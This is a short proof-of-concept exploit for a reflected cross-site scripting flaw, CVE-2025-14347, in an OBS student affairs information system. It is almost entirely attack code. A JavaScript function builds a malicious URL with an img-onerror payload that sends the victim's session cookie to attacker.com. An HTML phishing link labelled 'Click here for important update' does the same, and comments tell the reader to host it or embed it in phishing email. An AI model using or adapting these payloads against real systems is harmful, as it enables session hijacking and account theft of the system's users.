CVE-2025-14347: OBS学生事务信息系统反射型XSS漏洞

<!-- CVE-2025-14347 Reflected XSS PoC --> <!-- Target: OBS (Student Affairs Information System) before version 26.5009 --> <!-- Malicious URL that triggers the XSS --> <!-- Replace TARGET_URL with the actual OBS application URL --> <script> function generateXSSPayload() { const targetUrl = "TARGET_URL"; // XSS payload using img onerror event const xssPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">'; // Construct malicious URL const maliciousUrl = targetUrl + '/page?' + encodeURIComponent('param') + '=' + encodeURIComponent(xssPayload); console.log('Malicious URL:', maliciousUrl); return maliciousUrl; } // Display the generated malicious URL console.log('CVE-2025-14347 PoC - Reflected XSS in OBS'); console.log('Generated malicious URL:', generateXSSPayload()); </script> <!-- HTML PoC for social engineering --> <!-- 1. Host this HTML page or embed in phishing email 2. When victim clicks the link, XSS payload executes 3. Victim's session cookie is sent to attacker controlled server --> <a href='TARGET_URL/page?param=<img src=x onerror="document.location=\'https://attacker.com/log?c=\'+document.cookie">'>Click here for important update</a>